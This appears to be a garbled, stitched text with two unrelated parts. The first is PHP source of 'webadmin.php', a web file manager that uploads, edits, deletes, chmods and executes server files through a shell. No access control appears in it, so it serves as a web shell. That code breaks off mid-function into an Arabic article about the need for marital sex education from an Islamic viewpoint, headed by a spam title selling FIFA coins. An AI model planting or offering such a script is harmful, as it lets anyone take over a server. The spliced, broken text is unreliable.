* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * * ------------------------------------------------------------------------- * While using this script, do NOT navigate with your browser's back and * forward buttons! Always open files in a new browser tab! * ------------------------------------------------------------------------- * * This is Version 0.9, revision 9 * ========================================================================= * * Changes of revision 9 * * added workaround for directory listing, if lstat() is disabled * fixed permisson of uploaded files (thanks to Stephan Duffner) * * Changes of revision 8 * * added Turkish translation * * added Czech translation * * improved charset handling * * Changes of revision 7 * * added Spanish translation * * added Danish translation * * improved rename dialog * * Changes of revision 6 * * added Dutch translation * * Changes of revision 5 * * added language auto select * fixed symlinks in directory listing * removed word-wrap in edit textarea * * Changes of revision 4 * * added French translation * * added Swedish translation * * Changes of revision 3 * * improved Italian translation * * Changes of revision 2 * * got images work in some old browsers * fixed creation of directories * fixed files deletion * improved path handling * added missing word 'not_created' * * improved human readability of file sizes * * added Italian translation * * Changes of revision 1 * * webadmin.php completely rewritten: * - clean XHTML/CSS output * - several files selectable * - support for windows servers * - no more treeview, because * - webadmin.php is a >simple< file manager * - performance problems (too much additional code) * - I don't like: frames, java-script, to reload after every treeview-click * - execution of shell scripts * - introduced revision numbers * /* ------------------------------------------------------------------------- */ /* Your language: * 'en' - English * 'de' - German * 'fr' - French * 'it' - Italian * 'nl' - Dutch * 'se' - Swedish * 'sp' - Spanish * 'dk' - Danish * 'tr' - Turkish * 'cs' - Czech * 'auto' - autoselect */ $lang = 'auto'; /* Charset of output: * possible values are described in the charset table at * http://www.php.net/manual/en/function.htmlentities.php * 'auto' - use the same charset as the words of my language are encoded */ $site_charset = 'auto'; /* Homedir: * For example: './' - the script's directory */ $homedir = './'; /* Size of the edit textarea */ $editcols = 80; $editrows = 25; /* ------------------------------------------- * Optional configuration (remove # to enable) */ /* Permission of created directories: * For example: 0705 would be 'drwx---r-x'. */ # $dirpermission = 0705; /* Permission of created files: * For example: 0604 would be '-rw----r--'. */ # $filepermission = 0604; /* Filenames related to the apache web server: */ $htaccess = '.htaccess'; $htpasswd = '.htpasswd'; /* ------------------------------------------------------------------------- */ if (get_magic_quotes_gpc()) { array_walk($_GET, 'strip'); array_walk($_POST, 'strip'); array_walk($_REQUEST, 'strip'); } if (array_key_exists('image', $_GET)) { header('Content-Type: image/gif'); die(getimage($_GET['image'])); } if (!function_exists('lstat')) { function lstat ($filename) { return stat($filename); } } $delim = DIRECTORY_SEPARATOR; if (function_exists('php_uname')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; } else { $win = ($delim == '\\') ? true : false; } if (!empty($_SERVER['PATH_TRANSLATED'])) { $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); } elseif (function_exists('getcwd')) { $scriptdir = getcwd(); } else { $scriptdir = '.'; } $homedir = relative2absolute($homedir, $scriptdir); $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir; if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { $dir = relative2absolute($dir, $_POST['olddir']); } $directory = simplify_path(addslash($dir)); $files = array(); $action = ''; if (!empty($_POST['submit_all'])) { $action = $_POST['action_all']; for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { $files[] = $_POST["file$i"]; } } } elseif (!empty($_REQUEST['action'])) { $action = $_REQUEST['action']; $files[] = relative2absolute($_REQUEST['file'], $directory); } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { $files[] = $_FILES['upload']; $action = 'upload'; } elseif (array_key_exists('num', $_POST)) { for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("submit$i", $_POST)) break; } if ($i < $_POST['num']) { $action = $_POST["action$i"]; $files[] = $_POST["file$i"]; } } if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { $files[] = relative2absolute($_POST['create_name'], $directory); switch ($_POST['create_type']) { case 'directory': $action = 'create_directory'; break; case 'file': $action = 'create_file'; } } if (sizeof($files) == 0) $action = ''; else $file = reset($files); if ($lang == 'auto') { if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } else { $lang = 'en'; } } $words = getwords($lang); if ($site_charset == 'auto') { $site_charset = $word_charset; } $cols = ($win) ? 4 : 7; if (!isset($dirpermission)) { $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; } if (!isset($filepermission)) { $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; } if (!empty($_SERVER['SCRIPT_NAME'])) { $self = html(basename($_SERVER['SCRIPT_NAME'])); } elseif (!empty($_SERVER['PHP_SELF'])) { $self = html(basename($_SERVER['PHP_SELF'])); } else { $self = ''; } if (!empty($_SERVER['SERVER_SOFTWARE'])) { if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { $apache = true; } else { $apache = false; } } else { $apache = true; } switch ($action) { case 'view': if (is_script($file)) { /* highlight_file is a mess! */ ob_start(); highlight_file($file); $src = ereg_replace('', '', ob_get_contents()); $src = str_replace(array('', "\r", "\n"), array('', '', ''), $src); ob_end_clean(); html_header(); echo '

' . html($file) . '


';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

		echo '
' . $src . '
'; html_footer(); } else { header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: filename=' . basename($file)); readfile($file); } break; case 'download': header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: attachment; filename=' . basename($file) . ';'); header('Content-Length: ' . filesize($file)); readfile($file); break; case 'upload': $dest = relative2absolute($file['name'], $directory); if (@file_exists($dest)) { listing_page(error('already_exists', $dest)); } elseif (@move_uploaded_file($file['tmp_name'], $dest)) { @chmod($dest, $filepermission); listing_page(notice('uploaded', $file['name'])); } else { listing_page(error('not_uploaded', $file['name'])); } break; case 'create_directory': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$dirpermission); if (@mkdir($file, $dirpermission)) { listing_page(notice('created', $file)); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'create_file': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$filepermission); if (@touch($file)) { edit($file); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'execute': chdir(dirname($file)); $output = array(); $retval = 0; exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval); $error = ($retval == 0) ? false : true; if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>'); if ($error) { listing_page(error('not_executed', $file, implode("\n", $output))); } else { listing_page(notice('executed', $file, implode("\n", $output))); } break; case 'delete': if (!empty($_POST['no'])) { listing_page(); } elseif (!empty($_POST['yes'])) { $failure = array(); $success = array(); foreach ($files as $file) { if (del($file)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_deleted', implode("\n", $failure)); } if (sizeof($success) > 0) { $message .= notice('deleted', implode("\n", $success)); } listing_page($message); } else { html_header(); echo '
'; request_dump(); echo "\t" . word('really_delete') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\n"; } echo '


'; html_footer(); } break; case 'rename': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (!@file_exists($dest) && @rename($file, $dest)) { listing_page(notice('renamed', $file, $dest)); } else { listing_page(error('not_renamed', $file, $dest)); } } else { $name = basename($file); html_header(); echo '
' . word('rename_file') . '

' . html($file) . '

' . substr($file, 0, strlen($file) - strlen($name)) . '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'move': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = $dest . $filename; if (!@file_exists($d) && @rename($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_moved', implode("\n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('moved', implode("\n", $success), $dest); } listing_page($message); } else { html_header(); echo '
'; request_dump(); echo "\t" . word('move_files') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'copy': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (@is_dir($dest)) { $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = addslash($dest) . $filename; if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_copied', implode("\n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('copied', implode("\n", $success), $dest); } listing_page($message); } else { if (!@file_exists($dest) && @copy($file, $dest)) { listing_page(notice('copied', $file, $dest)); } else { listing_page(error('not_copied', $file, $dest)); } } } else { html_header(); echo '
'; request_dump(); echo "\n" . word('copy_files') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'create_symlink': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (substr($dest, -1, 1) == $delim) $dest .= basename($file); if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file); if (!@file_exists($dest) && @symlink($file, $dest)) { listing_page(notice('symlinked', $file, $dest)); } else { listing_page(error('not_symlinked', $file, $dest)); } } else { html_header(); echo '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'edit': if (!empty($_POST['save'])) { $content = str_replace("\r\n", "\n", $_POST['content']); if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { listing_page(notice('saved', $file)); } else { listing_page(error('not_saved', $file)); } } else { if (@is_readable($file) && @is_writable($file)) { edit($file); } else { listing_page(error('not_edited', $file)); } } break; case 'permission': if (!empty($_POST['set'])) { $mode = 0; if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; if (@chmod($file, $mode)) { listing_page(notice('permission_set', $file, decoct($mode))); } else { listing_page(error('permission_not_set', $file, decoct($mode))); } } else { html_header(); $mode = fileperms($file); echo '

' . phrase('permission_for', $file) . '


' . word('owner') . ' ' . word('group') . ' ' . word('other') . '
' . word('read') . ':
' . word('write') . ':
' . word('execute') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; default: listing_page(); } /* ------------------------------------------------------------------------- */ function getlist ($directory) { global $delim, $win; if ($d = @opendir($directory)) { while (($filename = @readdir($d)) !== false) { $path = $directory . $filename; if ($stat = @lstat($path)) { $file = array( 'filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path) ); if ($file['is_dir']) { $file['is_executable'] = @file_exists($path . $delim . '.'); } else { if (!$win) { $file['is_executable'] = @is_executable($path); } else { $file['is_executable'] = true; } } if ($file['is_link']) $file['target'] = @readlink($path); if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner'])); if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group'])); $files[] = $file; } } return $files; } else { return false; } } function sortlist (&$list, $key, $reverse) { quicksort($list, 0, sizeof($list) - 1, $key); if ($reverse) $list = array_reverse($list); } function quicksort (&$array, $first, $last, $key) { if ($first < $last) { $cmp = $array[floor(($first + $last) / 2)][$key]; $l = $first; $r = $last; while ($l <= $r) { while ($array[$l][$key] < $cmp) $l++; while ($array[$r][$key] > $cmp) $r--; if ($l <= $r) { $tmp = $array[$l]; $array[$l] = $array[$r]; $array[$r] = $tmp; $l++; $r--; } } quicksort($array, $first, $r, $key); quicksort($array, $l, $last, $key); } } function permission_octal2string ($mode) { if (($mode & 0xC000) === 0xC000) { $type = 's'; } elseif (($mode & 0xA000) === 0xA000) { $type = 'l'; } elseif (($mode & 0x8000) === 0x8000) { $type = '-'; } elseif (($mode & 0x6000) === 0x6000) { $type = 'b'; } elseif (($mode & 0x4000) === 0x4000) { $type = 'd'; } elseif (($mode & 0x2000) === 0x2000) { $type = 'c'; } elseif (($mode & 0x1000) === 0x1000) { $type = 'p'; } else { $type = '?'; } $owner = ($mode & 00400) ? 'r' : '-'; $owner .= ($mode & 00200) ? 'w' : '-'; if ($mode & 0x800) { $owner .= ($mode & 00100) ? 's' : 'S'; } else { $owner .= ($mode & 00100) ? 'x' : '-'; } $group = ($mode & 00040) ? 'r' : '-'; $group .= ($mode & 00020) ? 'w' : '-'; if ($mode & 0x400) { $group .= ($mode & 00010) ? 's' : 'S'; } else { $group .= ($mode & 00010) ? 'x' : '-'; } $other = ($mode & 00004) ? 'r' : '-'; $other .= ($mode & 00002) ? 'w' : '-'; if ($mode & 0x200) { $other .= ($mode & 00001) ? 't' : 'T'; } else { $other .= ($mode & 00001) ? 'x' : '-'; } return $type . $owner . $group . $other; } function is_script ($filename) { return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename); } function getmimetype ($filename) { static $mimes = array( '\.jpg$|\.jpeg$' => 'image/jpeg', '\.gif$' => 'image/gif', '\.png$' => 'image/png', '\.html$|\.html$' => 'text/html', '\.txt$|\.asc$' => 'text/plain', '\.xml$|\.xsl$' => 'application/xml', '\.pdf$' => 'application/pdf' ); foreach ($mimes as $regex => $mime) { if (eregi($regex, $filename)) return $mime; } // return 'application/octet-stream'; return 'text/plain'; } function del ($file) { global $delim; if (!@is_link($file) && !file_exists($file)) return false; if (!@is_link($file) && @is_dir($file)) { if ($dir = @opendir($file)) { $error = false; while (($f = readdir($dir)) !== false) { if ($f != '.' && $f != '..' && !del($file . $delim . $f)) { $error = true; } } closedir($dir); if (!$error) return @rmdir($file); return !$error; } else { return false; } } else { return @unlink($file); } } function addslash ($directory) { global $delim; if (substr($directory, -1, 1) != $delim) { return $directory . $delim; } else { return $directory; } } function relative2absolute ($string, $directory) { if (path_is_relative($string)) { return simplify_path(addslash($directory) . $string); } else { return simplify_path($string); } } function path_is_relative ($path) { global $win; if ($win) { return (substr($path, 1, 1) != ':'); } else { return (substr($path, 0, 1) != '/'); } } function absolute2relative ($directory, $target) { global $delim; $path = ''; while ($directory != $target) { if ($directory == substr($target, 0, strlen($directory))) { $path .= substr($target, strlen($directory)); break; } else { $path .= '..' . $delim; $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1); } } if ($path == '') $path = '.'; return $path; } function simplify_path ($path) { global $delim; if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') { $path = realpath($path); if (@is_dir($path)) { return addslash($path); } else { return $path; } } $pattern = $delim . '.' . $delim; if (@is_dir($path)) { $path = addslash($path); } while (strpos($path, $pattern) !== false) { $path = str_replace($pattern, $delim, $path); } $e = addslashes($delim); $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e; while (ereg($regex, $path)) { $path = ereg_replace($regex, $delim, $path); } return $path; } function human_filesize ($filesize) { $suffices = 'kMGTPE'; $n = 0; while ($filesize >= 1000) { $filesize /= 1024; $n++; } $filesize = round($filesize, 3 - strpos($filesize, '.')); if (strpos($filesize, '.') !== false) { while (in_array(substr($filesize, -1, 1), array('0', '.'))) { $filesize = substr($filesize, 0, strlen($filesize) - 1); } } $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); return $filesize . " {$suffix}B"; } function strip (&$str) { $str = stripslashes($str); } /* ------------------------------------------------------------------------- */ function listing_page ($message = null) { global $self, $directory, $sort, $reverse; html_header(); $list = getlist($directory); if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename'; if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false; sortlist($list, $sort, $reverse); echo '

webadmin.php

'; directory_choice(); if (!empty($message)) { spacer(); echo $message; } if (@is_writable($directory)) { upload_box(); create_box(); } else { spacer(); } if ($list) { listing($list); } else { echo error('not_readable', $directory); } echo '
'; html_footer(); } function listing ($list) { global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self; echo '
smiley" . word('filename') . "" . word('size') . "" . word('permission') . "" . word('owner') . "" . word('group') . "' . word('functions') . '
'; if ($file['is_link']) { echo 'link '; echo html($file['filename']) . ' → '; $real_file = relative2absolute($file['target'], $directory); if (@is_readable($real_file)) { if (@is_dir($real_file)) { echo '[ ' . html($file['target']) . ' ]'; } else { echo '' . html($file['target']) . ''; } } else { echo html($file['target']); } } elseif ($file['is_dir']) { echo 'folder [ '; if ($win || $file['is_executable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } echo ' ]'; } else { if (substr($file['filename'], 0, 1) == '.') { echo 'hidden file '; } else { echo 'file '; } if ($file['is_file'] && $file['is_readable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } } if ($file['size'] >= 1000) { $human = ' title="' . human_filesize($file['size']) . '"'; } else { $human = ''; } echo "\t{$file['size']} B'; $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid()); if ($l) echo ''; echo html(permission_octal2string($file['permission'])); if ($l) echo ''; echo "{$file['owner_name']}{$file['owner']}{$file['group_name']}{$file['group']} '; $actions = array(); if (function_exists('symlink')) { $actions[] = 'create_symlink'; } if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'rename'; $actions[] = 'move'; } if ($file['is_file'] && $file['is_readable']) { $actions[] = 'copy'; $actions[] = 'download'; if ($file['is_writable']) $actions[] = 'edit'; } if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) { $actions[] = 'execute'; } if (sizeof($actions) > 0) { echo ' '; } echo '
' . word('directory') . ':
' . word('file') . ':

'; if ($apache && basename($file) == $htpasswd) { echo ' ' . word('user') . ': ' . word('password') . ':
'; } if ($apache && basename($file) == $htaccess) { echo '
'; } echo '

[ ' . word('back') . ' ]

'; html_footer(); } function spacer () { global $cols; echo '
هل نحن في حاجة إلى ثقافة جنسية؟/ FIFA 15 PS3 Fut 15 coins for sale

هل نحن في حاجة إلى ثقافة جنسية؟/ FIFA 15 PS3 Fut 15 coins for sale

هل نحن في حاجة إلى ثقافة جنسية؟

قد يكون هذا هو السؤال المهم .. حيث إن إدراك وجود المشكلة هو نصف الحل، بينما تجاهلها يمكن أن يؤدي إلى تفاقمها بصورة لا يصلح معها أي حل عند اكتشافها في توقيت متأخر … فما بالنا ونحن نحوم حول الحمى.. و لانناقش الأمور المتعلقة بالصلة الزوجية و كأنها سر و لا يسمح حتى بالاقتراب لمعرفة ما إذا كان هناك مشكلة أم لا؟ لأن ذلك يدخل في نطاق "العيب" و"قلة الأدب"، فالمراهقين والمراهقات يعانون أشد ما يعانون من وطأة هذه الأسئلة وهذه المشاعر!!، ونحن نسأل: كيف إذن يتم إعداد الأبناء لاستقبال هذه المرحلة الخطيرة من حياتهم بكل ما تحويه من متغيرات نفسية وجنسية وفسيولوجية، وحتى مظهرية؟ .. فالأم تقول: إني أصاب بالحرج من أن أتحدث مع ابنتي في هذه الأمور. وطبعًا يزداد الحرج إذا كان الابن ذكرًا.. وهكذا يستمر الموضوع سرًا غامضًا تتناقله ألسنة المراهقين فيما بينهم، وهم يستشعرون أنهم بصدد فعل خاطئ يرتكبونه بعيدًا عن أعين الرقابة الأسرية، وفي عالم الأسرار والغموض تنشأ الأفكار والممارسات الخاطئة وتنمو وتتشعب دون رقيب أو حسيب. ثم تأتي الطامة ويجد الشاب والفتاة أنفسهما فجأة عند الزواج وقد أصبحا في مواجهة حقيقية مع هذا الأمر، ويحتاجان إلى ممارسة واقعية وصحيحة، و هما في الحقيقة لم يتأهلوا له. ويواجه كل من الزوجين الآخر بكل مخزونه من الأفكار والخجل والخوف والممارسات المغلوطة، ولكن مع الأسف يظل الشيء المشترك بينهما هو الجهل و عدم المصارحة الحلال بالرغبات و الاحتياجات التي تحقق الإحصان، ويضاف لهذا الخوف من الاستفسار عن المشكلة أو طلب المساعدة، وعدم طرق أبواب المكاشفة بما يجب أن يحدث …وكيف يحدث..!

هناك العديد من الحالات لمراهقين أوقعهم جهلهم في الخطأ و أحياناً الخطيئة ، و أزواج يشكون من توتر العلاقة ،أو العجز عن القيام بعلاقة كاملة، أو غير قادرين على إسعاد زوجاتهم، و زوجات لا يملكن شجاعة البوح بمعاناتهن من عدم الإشباع لأن الزوج لا يعرف كيف يحققها لهن ، و غالباً لا يبالي.. ومع الأسف يشارك المجتمع في تفاقم الأزمة بالصمت الرهيب، حيث لا تقدم المناهج التعليمية -فضلاً عن أجهزة الإعلام- أي مساهمة حقيقية في هذا الاتجاه رغم كل الغثاء و الفساد على شاشاتها و الذي لا يقدم بالضرورة ثقافة بقدر ما يقدم صور خليعة.

ويزداد الأمر سوءاً حينما يظل أمر هذه المعاناة سرًا بين الزوجين، فتتلاقى أعينهما حائرة متسائلة، ولكن الزوجة لا تجرؤ على السؤال، فلا يصح من إمرأة محترمة أن تسأل و إلا عكس هذا أن عندها رغبة في هذا الأمر( وكأن المفروض أن تكون خُلقت دون هذه الرغبة!) والزوج -أيضًا- لا يجرؤ على طلب المساعدة من زوجته..، أليس رجلاً ويجب أن يعرف كل شيء.. وهكذا ندخل الدوامة، الزوج يسأل أصدقاءه سرًا؛ وتظهر الوصفات العجيبة والاقتراحات الغريبة والنصائح المشينة، حتى يصل الأمر للاستعانة بالعفاريت والجانّ، لكي يفكّوا "المربوط"، ويرفعوا المشكلة.

و عادة ما تسكت الزوجة طاوية جناحيها على آلامها، حتى تتخلص من لَوم وتجريح الزوج، وقد تستمر المشكلة شهوراً طويلة، ولا أحد يجرؤ أن يتحدث مع المختص أو يستشير طبيبًا نفسيًا، بل قد يصل الأمر للطلاق من أجل مشكلة ربما لا يستغرق حلها نصف ساعة مع أهل الخبرة والمعرفة،.. ورغم هذه الصورة المأساوية فإنها أهون كثيرًا من الاحتمال الثاني، وهو أن تبدو الأمور وكأنها تسير على ما يرام، بينما تظل النار مشتعلة تحت السطح، فلا الرجل ولا المرأة يحصلون على ما يريدون أو يتمنون، وتسير الحياة وربما يأتي الأطفال معلنين لكل الناس أن الأمور مستتبة وهذا هو الدليل القاطع- وإلا كيف جاء الأطفال!!

وفجأة تشتعل النيران ويتهدم البيت الذي كان يبدو راسخا مستقرًا، ونفاجأ بدعاوى الطلاق والانفصال إثر مشادة غاضبة أو موقف عاصف، يسوقه الطرفان لإقناع الناس بأسباب قوية للطلاق، ولكنها غير السبب الذي يعلم الزوجان أنه السبب الحقيقي، ولكنّ كلاً منهما يخفيه داخل نفسه، ولا يُحدث به أحدًا حتى نفسه، فإذا بادرته بالسؤال عن تفاصيل العلاقة الجنسية -كنهها وأثرها في حدوث الطلاق- نظر إليك مندهشًا، مفتشًا في نفسه وتصرفاته عن أي لفتة أو زلة وشت به وبدخيلة نفسه، ثم يسرع بالإجابة بأن هذا الأمر لا يمثل أي مساحة في تفكيره!

أما الاحتمال الثالث -ومع الأسف هو السائد- أن تستمر الحياة حزينة كئيبة، لا طعم لها، مليئة بالتوترات والمشاحنات والملل والشكوى التي نبحث لها عن ألف سبب وسبب… إلا هذا السبب.

هل بالغنا؟.. هل أعطينا الأمر أكثر مما يستحق؟.. هل تصورنا أن الناس لا هم لهم إلا الجنس وإشباع هذه الرغبة؟، أم إن هناك فعلاً مشكلة عميقة تتوارى خلف أستار من الخجل والجهل، ولكنها تطل علينا كل حين بوجه قبيح من الكوارث الأسرية، وإذا أردنا العلاج والإصلاح فمن أين نبدأ؟ إننا بحاجة إلى رؤية علاجية خاصة بنا تتناسب مع ثقافتنا حتى لا يقاومها المجتمع، و أن نبدأ في بناء تجربتنا الخاصة وسط حقول الأشواك والألغام،و نواجه هذه الثقافة الغريبة التي ترفض أن تتبع سنة رسول الله في تعليم و إرشاد الناس لما فيه سعادتهم في دائرة الحلال، و تعرض عن أدب الصحابة في طلب الحلول من أهل العلم دون تردد أو ورع مصطنع،هذه الثقافة التي تزعم "الأدب" و "الحياء" و "المحافظة" و تخالف السنة و الهدي النبوي فتوقع الناس في الحرج الحقيقي و العنت و تغرقهم في الحيرة و التعاسة. وهذا يحتاج إلى فتح باب للحوار على مختلف الأصعدة وبين كل المهتمين،نبراسنا السنـة وسياجنا التقوى والجدية والعلم الرصين وهدفنا سعادة بيوتنا والصحة النفسية لأبناءنا.

وهذا ما سنناقشه تباعأً

أولاً: الإسراف في الحياء لقد توارثنا تصورًا خاطئًا مؤداه أن خلق الحياء يمنع المسلم من أن يخوض في أي حديث يتصل بأمور الجنس، وتربينا على اجتناب التعرض لأي أمر من هذا القبيل، سواء بالسؤال إذا اشتدت حاجتنا إلى سؤال أم بالجواب إن طلب منا الجواب، أو بالمشاركة في مناقشة هامة وجادة، إن الجنس وكل ما يتعلق به من قريب أو بعيد يظل-في إطار هذا التصور الخاطئ- وراء حجب كثيفة لا يستطيع اختراقها إلا من كان جسورًا إلى درجة الوقاحة أو كان ماجنًا، أو كان من الدهماء الذين حرموا كل صور التهذيب. أما الأسوياء والمهذبون فشأنهم عندنا عجيب، إذا أثير حديث جاد وبصورة عرضية فيه رائحة الجنس تراهم وقد تضرج وجههم من الخجل، وارتج عليهم في المسلك والقول، وكأنهم وقعوا في مأزق حرج، وربما لاذوا بالفرار بعيدًا، وإذا فرضنا أن تجرأ أحد الكبار (والد أو مدرس) وفتح حديثًا يقصد به تقديم نصيحة في أمر من أمور الجنس فإنك ترى المستمعين قد استقبلوه بامتعاض، وقالوا لأنفسهم: ليته سكت، وربما انصرفوا بعيدا أو حاولوا توجيه الحديث وجهة أخرى، وإذا حوصروا واضطروا للإنصات طلوا على مضض وكأن آذانهم ونفوسهم لا تطيق احتمال سماع مثل هذا الكلام الثقيل!! وإذا كان لا بد من حديث الجأت إليه ضرورة ملحة فلا بد أن يكون همسًا وبين جدران مغلقة بل محكمة الإغلاق، وكأنهم يأتون أمرًا خبيثًا منكرًا، ينبغي إخفاؤه عن أعين الناس وعن آذانهم، ثم لا بد أن يمهدوا للحديث تمهيدًا طويلاً ثم يلجون في الموضوع على استحياء وفي حرج بالغ، ولا يكادون معه يفصحون عما يريدون إلا بعد عناء شديد ومجاهدة مضنية، وإذا عرضت للشاب أو الشابة مشكلة تتصل بالأمور الجنسية أو الأعضاء الجنسية حار في التماس التصرف الملائم، والجهة التي يمكن أن يقصدها بحثًا عن حل أو علاج، هل يتحدث مع الوالد أو الوالدة أم مع الخادم أو الخادمة، مع المدرس أو المدرسة، أم مع الزميل أو الزميلة، وغالبا ما يكون الحديث مع الخادمة أو الخادم، ومع الزميل أو الزميلة أهون منه مع الوالد أو الوالدة ومع المدرس أو المدرسة، والسبب هو الحاجز الذي أقامه هؤلاء الكبار بينهم وبين أبنائهم وتلاميذهم، أقاموه بصورة غير مباشرة بصمتهم عن كل ما يتعلق بالأمور الجنسية سنوات طوال، وبصدهم للصغار حين يثيرون أسئلتهم الساذجة البريئة في مجال الجنس. وهذا مما ألقى في روع الأبناء منذ الصغر أن كل ماله صلة بالأمور الجنسية يعتبر عيبًا لا يجوز الخوض فيه، وأمر يحسن من باب الحياء أو الواجب البعد عنه بعد المشرقين وهكذا صار من شأن المهذبين أن يفضلوا الصمت، ويتحملوا آثاره مهما كانت مزعجة مؤلمة، على معاناة الحديث، مع أن الحديث يمكن أن يُسهم في علاج المشكلات، بل قد يكون فيه البلسم لجراح نفسية عميقة، وخلاصة الأمر أن ذلك الحياء المسرف ما هو إلا وضع نفسي نشأ ونما وتمكن منا، حتى ليستعصي علاجه إذا حاولنا العلاج، وذلك نتيجة أوهام وتقاليد بالية ما أنزل الله بها من سلطان لكننا توارثناها جيلاً بعد جيل، وكأنها دين نستمسك به ونلقى الله عليه، وما درينا أننا أسرفنا على أنفسنا، واتبعنا أهواءنا، وخالفنا شرع الله الحكيم، وهدي نبينا الكريم وسيرة أصحابه الأطهار

